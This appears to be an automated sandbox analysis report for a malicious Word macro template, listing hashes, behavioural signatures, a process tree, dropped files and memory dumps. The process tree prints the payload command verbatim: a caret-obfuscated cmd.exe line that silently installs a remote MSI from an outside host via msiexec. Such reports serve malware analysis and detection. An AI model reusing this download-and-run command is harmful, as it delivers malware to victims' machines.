Analysis

  • max time kernel
    147s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240319-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/04/2024, 10:16

General

  • Target

    33a4655fd61e471d8956bc7681ee56a9926da91df3583b79e80cb26a14e45548.dotm

  • Size

    67KB

  • MD5

    549334edbfacd98b6c5c3154949d5b12

  • SHA1

    a17eef04cf987d16ab2f7c23f97885e6e428f500

  • SHA256

    33a4655fd61e471d8956bc7681ee56a9926da91df3583b79e80cb26a14e45548

  • SHA512

    eac1d31ec581fa694c38ecd0109e2b5ff3510bd26e45b2939b4cdb3f1d75e3b74516b4004db9a774df4739c4476262f4db92ba76768cb46fa2e8da32ffe537db

  • SSDEEP

    1536:ruTk2YSjvnD9AxoD+u9yqYjc5zZP80/qv13oteePEl+p0X+p7RFVBaIA:K9KxQH9T5FLiv13ZAnp3GIA

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Use of msiexec (install) with remote resource 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\33a4655fd61e471d8956bc7681ee56a9926da91df3583b79e80cb26a14e45548.dotm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4928
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C P^i^Ng 127.0.0.1 -n 66 > NUL && M^S^Ie^x^e^c /i http://2215.site/cdt4821.msi /qn
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3564
      • C:\Windows\system32\PING.EXE
        PiNg 127.0.0.1 -n 66
        3⤵
        • Runs ping.exe
        PID:1356
      • C:\Windows\system32\msiexec.exe
        MSIexec /i http://2215.site/cdt4821.msi /qn
        3⤵
        • Use of msiexec (install) with remote resource
        • Suspicious use of AdjustPrivilegeToken
        PID:6020
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4956 --field-trial-handle=3408,i,16599691418790971742,134777455365707676,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:3732
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Blocklisted process makes network request
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      PID:6056

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\TCD89B7.tmp\gb.xsl

            Filesize

            262KB

            MD5

            51d32ee5bc7ab811041f799652d26e04

            SHA1

            412193006aa3ef19e0a57e16acf86b830993024a

            SHA256

            6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

            SHA512

            5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

          • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

            Filesize

            2B

            MD5

            f3b25701fe362ec84616a93a45ce9998

            SHA1

            d62636d8caec13f04e28442a0a6fa1afeb024bbb

            SHA256

            b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

            SHA512

            98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

          • memory/4928-9-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-2-0x00007FFE7C1F0000-0x00007FFE7C200000-memory.dmp

            Filesize

            64KB

          • memory/4928-4-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-5-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-6-0x00007FFE7C1F0000-0x00007FFE7C200000-memory.dmp

            Filesize

            64KB

          • memory/4928-7-0x00007FFE7C1F0000-0x00007FFE7C200000-memory.dmp

            Filesize

            64KB

          • memory/4928-8-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-1-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-10-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-11-0x00007FFE79BF0000-0x00007FFE79C00000-memory.dmp

            Filesize

            64KB

          • memory/4928-12-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-13-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-14-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-15-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-16-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-17-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-20-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-19-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-60-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-22-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-21-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-48-0x0000028A492B0000-0x0000028A4A280000-memory.dmp

            Filesize

            15.8MB

          • memory/4928-49-0x0000028A492B0000-0x0000028A4A280000-memory.dmp

            Filesize

            15.8MB

          • memory/4928-50-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-51-0x0000028A492B0000-0x0000028A4A280000-memory.dmp

            Filesize

            15.8MB

          • memory/4928-3-0x00007FFE7C1F0000-0x00007FFE7C200000-memory.dmp

            Filesize

            64KB

          • memory/4928-58-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-59-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-18-0x00007FFE79BF0000-0x00007FFE79C00000-memory.dmp

            Filesize

            64KB

          • memory/4928-61-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-62-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-65-0x00007FFEBC170000-0x00007FFEBC365000-memory.dmp

            Filesize

            2.0MB

          • memory/4928-66-0x0000028A492B0000-0x0000028A4A280000-memory.dmp

            Filesize

            15.8MB

          • memory/4928-67-0x0000028A492B0000-0x0000028A4A280000-memory.dmp

            Filesize

            15.8MB

          • memory/4928-68-0x0000028A492B0000-0x0000028A4A280000-memory.dmp

            Filesize

            15.8MB

          • memory/4928-0-0x00007FFE7C1F0000-0x00007FFE7C200000-memory.dmp

            Filesize

            64KB